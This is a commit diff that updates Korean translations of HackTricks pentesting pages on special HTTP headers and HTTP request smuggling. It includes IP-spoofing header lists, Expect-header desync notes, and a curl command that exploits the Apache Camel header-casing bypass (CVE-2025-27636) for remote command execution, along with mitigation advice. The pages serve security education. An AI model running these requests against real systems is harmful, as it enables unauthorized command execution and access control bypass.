mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/special-http
This commit is contained in:
parent
008567976f
commit
d2eb1b1d91
@ -1,15 +1,15 @@
|
||||
# Special HTTP headers
|
||||
# 특수 HTTP 헤더
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Wordlists & Tools
|
||||
## 단어 목록 & 도구
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
||||
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
||||
|
||||
## Headers to Change Location
|
||||
## 위치를 변경할 헤더
|
||||
|
||||
Rewrite **IP source**:
|
||||
IP 출처 재작성:
|
||||
|
||||
- `X-Originating-IP: 127.0.0.1`
|
||||
- `X-Forwarded-For: 127.0.0.1`
|
||||
@ -26,19 +26,20 @@ Rewrite **IP source**:
|
||||
- `True-Client-IP: 127.0.0.1`
|
||||
- `Cluster-Client-IP: 127.0.0.1`
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (Check hop-by-hop headers)
|
||||
- `Connection: close, X-Forwarded-For` (hop-by-hop 헤더 확인)
|
||||
|
||||
Rewrite **location**:
|
||||
위치 재작성:
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
## Hop-by-Hop headers
|
||||
## Hop-by-Hop 헤더
|
||||
|
||||
A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header.
|
||||
Hop-by-Hop 헤더는 end-to-end 헤더와는 달리 현재 요청을 처리 중인 proxy에서 처리되고 소비되도록 설계된 헤더입니다.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
@ -48,20 +49,40 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
||||
- `Content-Length: 30`
|
||||
- `Transfer-Encoding: chunked`
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## Cache Headers
|
||||
## Expect 헤더
|
||||
|
||||
클라이언트가 `Expect: 100-continue` 헤더를 보내고 서버가 `HTTP/1.1 100 Continue`로 응답하여 클라이언트가 요청 본문 전송을 계속하도록 허용할 수 있습니다. 다만 일부 프록시는 이 헤더를 제대로 좋아하지 않습니다.
|
||||
|
||||
`Expect: 100-continue`의 흥미로운 결과:
|
||||
- 본문을 가진 HEAD 요청을 보냈을 때, 서버가 HEAD 요청에는 본문이 없다는 점을 고려하지 않아 타임아웃까지 연결을 열어 둔 경우가 있음.
|
||||
- 일부 서버는 응답에 소켓에서 읽은 랜덤 데이터, 비밀 키 등의 이상한 데이터를 보냈거나, 프론트엔드가 헤더 값을 제거하지 못하도록 허용함.
|
||||
- 또한 백엔드가 100 응답 대신 400 응답으로 응답하여 `0.CL` desync가 발생하기도 했습니다. 이 경우 프록시 프론트엔드는 초기 요청의 본문 전송을 준비하고 있었기 때문에 본문을 보내고, 백엔드는 이를 새로운 요청으로 받아들였습니다.
|
||||
- `Expect: y 100-continue` 같은 변형도 `0.CL` desync를 유발함.
|
||||
- 백엔드가 404로 응답한 유사한 오류는 `CL.0` desync를 생성했는데, 이는 악성 요청이 `Content-Length`를 표시했기 때문에 백엔드가 악성 요청 + 다음 요청(피해자)의 `Content-Length` 바이트를 보내서 큐가 비동기화된 사례입니다. 백엔드는 악성 요청에 대해 404 응답을 보내고 피해자 요청들의 응답을 뒤이어 보냈지만, 프론트엔드는 단 하나의 요청만 보냈다고 생각하여 두 번째 응답을 다른 피해자에게 전송하고 그 응답이 다시 다음 요청으로 전달되는 등의 문제가 발생했습니다.
|
||||
|
||||
HTTP Request Smuggling에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## 캐시 헤더
|
||||
|
||||
**서버 캐시 헤더**:
|
||||
|
||||
- **`X-Cache`** 응답에서 요청이 캐시되지 않았을 때는 **`miss`** 값을 가질 수 있으며, 캐시되었을 때는 **`hit`** 값을 가집니다.
|
||||
- 헤더 **`Cf-Cache-Status`**에서도 유사한 동작을 합니다.
|
||||
- **`Cache-Control`**은 리소스가 캐시되고 있는지와 다음에 리소스가 다시 캐시될 시간에 대해 나타냅니다: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`**는 응답에서 **추가 헤더**를 나타내는 데 자주 사용되며, 일반적으로 키가 없는 헤더라도 **캐시 키의 일부**로 처리됩니다.
|
||||
- **`Age`**는 객체가 프록시 캐시에 있었던 시간을 초 단위로 정의합니다.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`**는 리소스가 캐시되었음을 나타냅니다.
|
||||
- **`X-Cache`** 응답에서 값이 **`miss`**이면 요청이 캐시되지 않았음을, **`hit`**이면 캐시되었음을 나타낼 수 있습니다.
|
||||
- 유사한 동작을 하는 헤더로 **`Cf-Cache-Status`**가 있습니다.
|
||||
- **`Cache-Control`**은 자원이 캐시되는지 및 다음에 언제 다시 캐시될지를 나타냅니다: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`**는 응답에서 자주 사용되며, 일반적으로 캐시 키에 포함되지 않는 추가 헤더들을 캐시 키의 일부로 취급함을 **표시**합니다.
|
||||
- **`Age`**는 객체가 프록시 캐시에 머문 시간을 초 단위로 정의합니다.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** 또한 자원이 캐시되었음을 나타냅니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/cache-deception/
|
||||
@ -69,67 +90,68 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
||||
|
||||
**로컬 캐시 헤더**:
|
||||
|
||||
- `Clear-Site-Data`: 제거해야 할 캐시를 나타내는 헤더: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: 응답이 만료되어야 하는 날짜/시간을 포함합니다: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache`는 `Cache-Control: no-cache`와 동일합니다.
|
||||
- `Warning`: **`Warning`** 일반 HTTP 헤더는 메시지 상태에 대한 가능한 문제에 대한 정보를 포함합니다. 응답에 여러 개의 `Warning` 헤더가 나타날 수 있습니다. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Clear-Site-Data`: 제거해야 할 캐시 유형을 지정하는 헤더: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: 응답이 만료되는 날짜/시간을 포함: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache`는 `Cache-Control: no-cache`와 동일
|
||||
- `Warning`: 일반 HTTP 헤더로 메시지 상태의 가능한 문제에 대한 정보를 포함합니다. 응답에 여러 `Warning` 헤더가 나타날 수 있습니다. 예: `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Conditionals
|
||||
## 조건부 요청
|
||||
|
||||
- 이러한 헤더를 사용하는 요청: **`If-Modified-Since`** 및 **`If-Unmodified-Since`**는 응답 헤더 **`Last-Modified`**에 다른 시간이 포함된 경우에만 데이터로 응답합니다.
|
||||
- **`If-Match`** 및 **`If-None-Match`**를 사용하는 조건부 요청은 Etag 값을 사용하여 데이터(Etag)가 변경된 경우 웹 서버가 응답의 내용을 전송합니다. `Etag`는 HTTP 응답에서 가져옵니다.
|
||||
- **Etag** 값은 일반적으로 응답의 **내용**을 기반으로 **계산**됩니다. 예를 들어, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"`는 `Etag`가 **37 바이트**의 **Sha1**임을 나타냅니다.
|
||||
- **`If-Modified-Since`** 및 **`If-Unmodified-Since`** 헤더를 사용하는 요청은 응답 헤더의 **`Last-Modified`**가 다른 시간을 포함하는 경우에만 데이터가 반환됩니다.
|
||||
- **`If-Match`** 및 **`If-None-Match`**을 사용하는 조건부 요청은 Etag 값을 사용하여 데이터(Etag)가 변경된 경우에만 웹 서버가 응답 내용을 전송합니다. `Etag`는 HTTP 응답에서 가져옵니다.
|
||||
- **Etag** 값은 보통 응답의 **내용(content)**을 기반으로 **계산**됩니다. 예를 들어 `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"`는 `Etag`가 **37 바이트**의 **Sha1**임을 나타냅니다.
|
||||
|
||||
## Range requests
|
||||
## Range 요청
|
||||
|
||||
- **`Accept-Ranges`**: 서버가 범위 요청을 지원하는지 여부와 범위를 표현할 수 있는 단위를 나타냅니다. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: 서버가 반환해야 하는 문서의 부분을 나타냅니다. 예를 들어, `Range:80-100`은 원래 응답의 80에서 100 바이트를 반환하며, 상태 코드는 206 Partial Content입니다. 요청에서 `Accept-Encoding` 헤더를 제거하는 것도 잊지 마세요.
|
||||
- 이는 그렇지 않으면 이스케이프될 수 있는 임의의 반사된 자바스크립트 코드로 응답을 얻는 데 유용할 수 있습니다. 그러나 이를 악용하려면 요청에 이 헤더를 주입해야 합니다.
|
||||
- **`If-Range`**: 주어진 etag 또는 날짜가 원격 리소스와 일치하는 경우에만 충족되는 조건부 범위 요청을 생성합니다. 이는 리소스의 호환되지 않는 버전에서 두 범위를 다운로드하는 것을 방지하는 데 사용됩니다.
|
||||
- **`Content-Range`**: 전체 본문 메시지에서 부분 메시지가 속하는 위치를 나타냅니다.
|
||||
- **`Accept-Ranges`**: 서버가 range 요청을 지원하는지, 지원한다면 어떤 단위로 범위를 표현할 수 있는지 나타냅니다. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: 서버가 반환해야 할 문서의 부분을 나타냅니다. 예를 들어 `Range:80-100`은 원본 응답의 바이트 80~100을 반환하며 상태 코드는 206 Partial Content가 됩니다. 또한 요청에서 `Accept-Encoding` 헤더를 제거하는 것을 잊지 마세요.
|
||||
- 이는 통상적으로 이스케이프되는 반사된 javascript 코드를 임의로 포함한 응답을 얻는 데 유용할 수 있습니다. 다만 이를 악용하려면 요청에 해당 헤더들을 주입해야 합니다.
|
||||
- **`If-Range`**: 주어진 etag나 날짜가 원격 자원과 일치하는 경우에만 충족되는 조건부 범위 요청을 만듭니다. 서로 호환되지 않는 버전의 리소스로부터 두 개의 범위를 다운로드하지 않도록 방지하기 위해 사용됩니다.
|
||||
- **`Content-Range`**: 부분 메시지가 전체 바디 메시지의 어디에 속하는지를 나타냅니다.
|
||||
|
||||
## Message body information
|
||||
## 메시지 본문 정보
|
||||
|
||||
- **`Content-Length`:** 리소스의 크기, 바이트의 10진수 수입니다.
|
||||
- **`Content-Type`**: 리소스의 미디어 유형을 나타냅니다.
|
||||
- **`Content-Length`**: 리소스의 크기(십진수 바이트 수).
|
||||
- **`Content-Type`**: 리소스의 미디어 타입을 나타냅니다.
|
||||
- **`Content-Encoding`**: 압축 알고리즘을 지정하는 데 사용됩니다.
|
||||
- **`Content-Language`**: 청중을 위한 의도된 인간 언어를 설명하여 사용자가 자신의 선호하는 언어에 따라 구분할 수 있도록 합니다.
|
||||
- **`Content-Language`**: 대상 청중을 위한 인간의 언어를 설명하여 사용자가 선호하는 언어에 따라 구분할 수 있게 합니다.
|
||||
- **`Content-Location`**: 반환된 데이터의 대체 위치를 나타냅니다.
|
||||
|
||||
펜테스트 관점에서 이 정보는 일반적으로 "쓸모없다"고 여겨지지만, 리소스가 **401** 또는 **403**으로 **보호**되고 이 **정보**를 **얻는 방법**을 찾을 수 있다면, 이는 **흥미로울 수 있습니다.**\
|
||||
예를 들어, HEAD 요청에서 **`Range`**와 **`Etag`**의 조합은 HEAD 요청을 통해 페이지의 내용을 유출할 수 있습니다:
|
||||
pentest 관점에서는 이 정보가 보통 "쓸모없다"보여질 수 있지만, 자원이 401 또는 403으로 보호되고 있고 이 정보를 얻을 수 있는 어떤 방법을 찾을 수 있다면 이는 흥미로울 수 있습니다.\
|
||||
예를 들어 HEAD 요청에서 **`Range`**와 **`Etag`**의 조합은 HEAD 요청을 통해 페이지의 내용을 leak할 수 있습니다:
|
||||
|
||||
- 헤더 `Range: bytes=20-20`와 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함된 요청은 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 유출하고 있습니다.
|
||||
- `Range: bytes=20-20` 헤더를 가진 요청과 응답에 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`가 포함된 경우, 바이트 20의 SHA1이 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`임을 leaking 하고 있는 것입니다.
|
||||
|
||||
## Server Info
|
||||
## 서버 정보
|
||||
|
||||
- `Server: Apache/2.4.1 (Unix)`
|
||||
- `X-Powered-By: PHP/5.3.3`
|
||||
|
||||
## Controls
|
||||
## 제어
|
||||
|
||||
- **`Allow`**: 이 헤더는 리소스가 처리할 수 있는 HTTP 메서드를 전달하는 데 사용됩니다. 예를 들어, `Allow: GET, POST, HEAD`로 지정될 수 있으며, 이는 리소스가 이러한 메서드를 지원함을 나타냅니다.
|
||||
- **`Expect`**: 클라이언트가 요청이 성공적으로 처리되기 위해 서버가 충족해야 하는 기대를 전달하는 데 사용됩니다. 일반적인 사용 사례는 클라이언트가 대량의 데이터 페이로드를 전송할 의도가 있음을 나타내는 `Expect: 100-continue` 헤더입니다. 클라이언트는 전송을 진행하기 전에 `100 (Continue)` 응답을 찾습니다. 이 메커니즘은 서버 확인을 기다림으로써 네트워크 사용을 최적화하는 데 도움이 됩니다.
|
||||
- **`Allow`**: 이 헤더는 리소스가 처리할 수 있는 HTTP 메서드를 전달하는 데 사용됩니다. 예: `Allow: GET, POST, HEAD`는 해당 리소스가 이러한 메서드를 지원함을 나타냅니다.
|
||||
- **`Expect`**: 클라이언트가 요청 처리를 위해 서버가 충족해야 하는 기대사항을 전달하는 데 사용됩니다. 일반적인 사용 사례는 큰 데이터 페이로드를 전송하려는 의도를 알리는 `Expect: 100-continue` 헤더로, 클라이언트는 전송을 계속하기 전에 `100 (Continue)` 응답을 기다립니다. 이 메커니즘은 서버 확인을 대기함으로써 네트워크 사용을 최적화하는 데 도움이 됩니다.
|
||||
|
||||
## Downloads
|
||||
## 다운로드
|
||||
|
||||
- HTTP 응답의 **`Content-Disposition`** 헤더는 파일이 **인라인**(웹페이지 내)으로 표시되어야 하는지 또는 **첨부 파일**(다운로드)로 처리되어야 하는지를 지시합니다. 예를 들어:
|
||||
응답에서 **`Content-Disposition`** 헤더는 파일을 웹페이지 내에서 표시할지(**inline**) 아니면 **attachment**로 처리할지(다운로드) 지시합니다. 예를 들어:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
이것은 "filename.jpg"라는 이름의 파일이 다운로드되고 저장되도록 의도되었음을 의미합니다.
|
||||
이는 "filename.jpg"라는 파일이 다운로드되어 저장될 의도임을 의미합니다.
|
||||
|
||||
## 보안 헤더
|
||||
|
||||
### 콘텐츠 보안 정책 (CSP) <a href="#csp" id="csp"></a>
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
### **신뢰할 수 있는 유형**
|
||||
### **Trusted Types**
|
||||
|
||||
CSP를 통해 신뢰할 수 있는 유형을 강제함으로써, 애플리케이션은 DOM XSS 공격으로부터 보호될 수 있습니다. 신뢰할 수 있는 유형은 특정 보안 정책을 준수하는 특별히 제작된 객체만 위험한 웹 API 호출에 사용될 수 있도록 보장하여, 기본적으로 JavaScript 코드를 안전하게 만듭니다.
|
||||
CSP를 통해 Trusted Types를 강제하면 애플리케이션을 DOM XSS 공격으로부터 보호할 수 있습니다. Trusted Types는 수립된 보안 정책을 준수하는 특정하게 생성된 객체만이 위험한 web API 호출에 사용되도록 보장하여 JavaScript 코드를 기본적으로 안전하게 합니다.
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -148,73 +170,73 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
이 헤더는 MIME 타입 스니핑을 방지하며, 이는 XSS 취약점으로 이어질 수 있는 행위입니다. 이 헤더는 브라우저가 서버에서 지정한 MIME 타입을 준수하도록 보장합니다.
|
||||
이 헤더는 MIME type sniffing을 방지합니다. 이는 XSS 취약점으로 이어질 수 있는 행위이며, 브라우저가 서버에서 지정한 MIME 타입을 존중하도록 보장합니다.
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
### **X-Frame-Options**
|
||||
|
||||
클릭재킹을 방지하기 위해, 이 헤더는 문서가 `<frame>`, `<iframe>`, `<embed>`, 또는 `<object>` 태그에 어떻게 포함될 수 있는지를 제한하며, 모든 문서가 자신의 포함 권한을 명시적으로 지정할 것을 권장합니다.
|
||||
clickjacking을 방지하기 위해, 이 헤더는 문서가 `<frame>`, `<iframe>`, `<embed>`, 또는 `<object>` 태그에 어떻게 임베드될 수 있는지를 제한하며, 모든 문서가 임베딩 권한을 명시적으로 지정하도록 권장합니다.
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
|
||||
### **Cross-Origin Resource Policy (CORP) 및 Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP는 웹사이트가 로드할 수 있는 리소스를 지정하는 데 중요하며, 교차 사이트 누수를 완화합니다. 반면 CORS는 특정 조건에서 동일 출처 정책을 완화하여 보다 유연한 교차 출처 리소스 공유 메커니즘을 허용합니다.
|
||||
CORP는 웹사이트가 로드할 수 있는 리소스를 지정하는 데 중요하며, 교차 사이트 leaks를 완화합니다. CORS는 반면에 보다 유연한 교차 출처 리소스 공유 메커니즘을 허용하여 특정 조건에서 동일 출처 정책을 완화합니다.
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
|
||||
### **교차 출처 임베더 정책 (COEP) 및 교차 출처 오퍼너 정책 (COOP)**
|
||||
|
||||
COEP와 COOP는 교차 출처 격리를 가능하게 하는 데 필수적이며, Spectre와 유사한 공격의 위험을 크게 줄입니다. 이들은 각각 교차 출처 리소스의 로딩과 교차 출처 창과의 상호작용을 제어합니다.
|
||||
COEP와 COOP는 교차 출처 격리를 가능하게 하는 데 필수적이며 Spectre와 유사한 공격의 위험을 크게 줄입니다. 이들은 각각 교차 출처 리소스의 로딩과 교차 출처 창과의 상호작용을 제어합니다.
|
||||
```
|
||||
Cross-Origin-Embedder-Policy: require-corp
|
||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
```
|
||||
### **HTTP Strict Transport Security (HSTS)**
|
||||
|
||||
마지막으로, HSTS는 브라우저가 서버와 오직 안전한 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 개인 정보 보호 및 보안을 강화합니다.
|
||||
마지막으로, HSTS는 브라우저가 서버와 오직 보안된 HTTPS 연결을 통해서만 통신하도록 강제하는 보안 기능으로, 이를 통해 개인정보 보호와 보안을 향상시킵니다.
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
## 헤더 이름 대소문자 우회
|
||||
|
||||
HTTP/1.1은 헤더 필드 이름을 **대소문자 구분 없음**으로 정의합니다 (RFC 9110 §5.1). 그럼에도 불구하고, 대소문자를 정규화하지 않고 수신된 *리터럴* 헤더 이름을 비교하는 사용자 정의 미들웨어, 보안 필터 또는 비즈니스 로직을 찾는 것은 매우 일반적입니다 (예: `header.equals("CamelExecCommandExecutable")`). 이러한 검사가 **대소문자 구분**으로 수행되면, 공격자는 다른 대문자 사용으로 동일한 헤더를 보내어 이를 우회할 수 있습니다.
|
||||
HTTP/1.1은 헤더 필드 이름을 **대소문자를 구별하지 않음**으로 정의합니다 (RFC 9110 §5.1). 그럼에도 불구하고, 커스텀 미들웨어, 보안 필터, 또는 비즈니스 로직에서 수신된 *문자 그대로의* 헤더 이름을 먼저 정규화하지 않고 비교하는 경우가 매우 흔합니다(예: `header.equals("CamelExecCommandExecutable")`). 만약 이러한 검사들이 **대소문자 구분**으로 수행된다면, 공격자는 단순히 같은 헤더를 다른 대소문자 표기로 전송하는 것만으로 우회할 수 있습니다.
|
||||
|
||||
이 실수가 발생하는 전형적인 상황:
|
||||
Typical situations where this mistake appears:
|
||||
|
||||
* 요청이 민감한 구성 요소에 도달하기 전에 “위험한” 내부 헤더를 차단하려고 하는 사용자 정의 허용/거부 목록.
|
||||
* 역방향 프록시 의사 헤더의 사내 구현 (예: `X-Forwarded-For` 정화).
|
||||
* 관리 / 디버그 엔드포인트를 노출하고 인증 또는 명령 선택을 위해 헤더 이름에 의존하는 프레임워크.
|
||||
* 요청이 민감한 컴포넌트에 도달하기 전에 “위험한” 내부 헤더를 차단하려는 커스텀 허용/거부 목록.
|
||||
* 리버스-프록시 의사 헤더의 사내 구현(예: `X-Forwarded-For` sanitisation).
|
||||
* 관리/디버그 엔드포인트를 노출하고 인증이나 명령 선택에 헤더 이름을 사용하는 프레임워크.
|
||||
|
||||
### Abusing the bypass
|
||||
### 우회 악용
|
||||
|
||||
1. 서버 측에서 필터링되거나 검증되는 헤더를 식별합니다 (예: 소스 코드, 문서 또는 오류 메시지를 읽어).
|
||||
2. **다른 대소문자로 동일한 헤더**를 보냅니다 (혼합 대소문자 또는 대문자). HTTP 스택은 일반적으로 사용자 코드가 실행된 후에만 헤더를 정규화하므로, 취약한 검사를 건너뛸 수 있습니다.
|
||||
3. 하위 구성 요소가 헤더를 대소문자 구분 없이 처리하면 (대부분 그렇습니다), 공격자가 제어하는 값을 수락합니다.
|
||||
1. 서버 측에서 필터링되거나 검증되는 헤더를 식별합니다(예: 소스 코드, 문서, 오류 메시지를 통해).
|
||||
2. 같은 헤더를 **다른 대소문자 표기**(혼합 대/소문자 또는 모두 대문자)로 전송합니다. HTTP 스택은 일반적으로 헤더를 사용자 코드가 실행된 *후에* 정규화하므로, 취약한 검사를 건너뛸 수 있습니다.
|
||||
3. 하위 구성요소가 헤더를 대소문자 구분 없이 처리한다면(대부분 그렇다), 공격자가 제어한 값을 수용하게 됩니다.
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
### 예시: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
취약한 버전의 Apache Camel에서 *Command Center* 라우트는 `CamelExecCommandExecutable` 및 `CamelExecCommandArgs` 헤더를 제거하여 신뢰할 수 없는 요청을 차단하려고 합니다. 비교는 `equals()`로 수행되었으므로 정확한 소문자 이름만 제거되었습니다.
|
||||
취약한 버전의 Apache Camel에서 *Command Center* 라우트는 신뢰할 수 없는 요청을 차단하기 위해 `CamelExecCommandExecutable` 및 `CamelExecCommandArgs` 헤더를 제거하려고 합니다. 비교는 `equals()`로 수행되어 정확히 일치하는 소문자 이름만 제거되었습니다.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
헤더는 필터링되지 않은 상태로 `exec` 구성 요소에 도달하여 Camel 프로세스의 권한으로 원격 명령 실행을 초래합니다.
|
||||
헤더가 `exec` 컴포넌트에 필터링 없이 전달되어 Camel 프로세스 권한으로 remote command execution이 발생합니다.
|
||||
|
||||
### 탐지 및 완화
|
||||
|
||||
* 모든 헤더 이름을 단일 대소문자(일반적으로 소문자)로 정규화합니다 **전**에 허용/거부 비교를 수행합니다.
|
||||
* 의심스러운 중복을 거부합니다: `Header:`와 `HeAdEr:`가 모두 존재하는 경우 이를 이상으로 간주합니다.
|
||||
* 정규화 **후**에 시행되는 긍정적 허용 목록을 사용합니다.
|
||||
* 관리 엔드포인트를 인증 및 네트워크 분할로 보호합니다.
|
||||
* 모든 헤더 이름을 단일 케이스(보통 lowercase)로 정규화하세요 — allow/deny 비교를 수행하기 **전에**.
|
||||
* 의심스러운 중복을 거부하세요: `Header:`와 `HeAdEr:`가 동시에 존재하면 이상으로 처리하세요.
|
||||
* 정규화(canonicalisation) 후에 적용되는 positive allow-list를 사용하세요.
|
||||
* 관리 엔드포인트는 인증과 네트워크 분리로 보호하세요.
|
||||
|
||||
|
||||
## 참조
|
||||
## 참고 자료
|
||||
|
||||
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
|
@ -5,67 +5,78 @@
|
||||
|
||||
## 개요
|
||||
|
||||
이 취약점은 **desyncronization**이 **front-end proxies**와 **back-end** 서버 사이에서 발생하여, **attacker**가 **send**한 HTTP **request**가 **front-end** proxies(로드 밸런서/리버스-프록시)에는 **single request**로, **back-end** 서버에는 **as 2 request**로 **interpreted**될 때 발생합니다.\
|
||||
이로 인해 사용자는 **modify the next request that arrives to the back-end server after his** 할 수 있게 됩니다.
|
||||
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**가 발생하여 **공격자**가 **프론트엔드** 프록시(로드 밸런서/리버스 프록시)에는 **단일 요청**으로 **해석**되지만 **백엔드**에는 **2개의 요청**으로 **해석**되는 HTTP **request**를 **전송**할 수 있을 때 발생합니다.\
|
||||
이로 인해 사용자는 **자신의 요청 이후에 백엔드 서버로 도착하는 다음 요청을 수정**할 수 있게 됩니다.
|
||||
|
||||
### 이론
|
||||
|
||||
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
|
||||
>
|
||||
> 메시지가 Transfer-Encoding 헤더 필드와 Content-Length 헤더 필드를 둘 다 포함하여 수신된 경우, 후자는 무시되어야 한다.
|
||||
|
||||
**Content-Length**
|
||||
|
||||
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
|
||||
>
|
||||
> Content-Length 엔터티 헤더는 수신자에게 전송되는 엔터티 본문의 크기를 바이트 단위로 나타냅니다.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
|
||||
> Chunked means that large data is sent in a series of chunks
|
||||
>
|
||||
> Transfer-Encoding 헤더는 payload body를 안전하게 전송하기 위해 사용되는 인코딩 형식을 지정합니다.\
|
||||
> Chunked는 큰 데이터를 연속된 청크들로 전송함을 의미합니다.
|
||||
|
||||
### 실제
|
||||
### 실제 상황
|
||||
|
||||
**Front-End**(로드-밸런서/리버스-프록시)가 _**Content-Length**_ 또는 _**Transfer-Encoding**_ 헤더를 처리하고, **Back-end** 서버가 _다른_ 헤더를 처리하면서 두 시스템 간에 **desyncronization**이 발생합니다.\
|
||||
이것은 매우 치명적일 수 있는데, **attacker**가 리버스-프록시에 한 요청을 보내면 **back-end** 서버는 그것을 **2개의 다른 요청**으로 해석할 수 있기 때문입니다. 이 기법의 위험은 **back-end** 서버가 **주입된 2번째 요청을 다음 클라이언트로부터 온 것으로 취급**하고, 해당 클라이언트의 실제 요청이 **주입된 요청의 일부**가 된다는 점에 있습니다.
|
||||
**프론트엔드**(로드밸런서 / 리버스 프록시)가 _**Content-Length**_ 또는 _**Transfer-Encoding**_ 헤더 중 하나를 **처리**하고, **백엔드** 서버가 **다른 것**을 처리하면서 두 시스템 간에 **비동기화**가 발생합니다.\
|
||||
이것은 매우 치명적일 수 있는데, 공격자가 리버스 프록시에 하나의 요청을 보내면 **백엔드** 서버가 이를 **두 개의 서로 다른 요청으로 해석**할 수 있기 때문입니다. 이 기법의 위험성은 백엔드 서버가 **주입된 두 번째 요청**을 **다음 클라이언트로부터 온 것**으로 해석하고, 그 클라이언트의 실제 요청이 **주입된 요청의 일부**가 되어버린다는 점에 있습니다.
|
||||
|
||||
### 세부사항
|
||||
|
||||
HTTP에서 **new line** 문자는 2바이트로 구성된다는 점을 기억하세요:
|
||||
HTTP에서 **새 줄(new line)** 문자는 **2바이트**로 구성된다는 것을 기억하세요:
|
||||
|
||||
- **Content-Length**: 이 헤더는 요청 본문의 바이트 수를 나타내는 **10진수**를 사용합니다. 본문은 마지막 문자에서 끝나는 것으로 기대되며, 요청 끝에 별도의 new line은 필요하지 않습니다.
|
||||
- **Transfer-Encoding:** 이 헤더는 본문에서 다음 청크의 크기를 나타내는 **16진수** 숫자를 사용합니다. 청크는 **new line**으로 끝나야 하지만, 이 new line은 길이 표시에는 포함되지 않습니다. 이 전송 방식은 `0` 크기의 청크가 나오고 이어서 2개의 new line으로 끝나야 합니다: `0`
|
||||
- **Connection**: 제 경험상 request Smuggling의 첫 요청에는 **`Connection: keep-alive`** 사용을 권장합니다.
|
||||
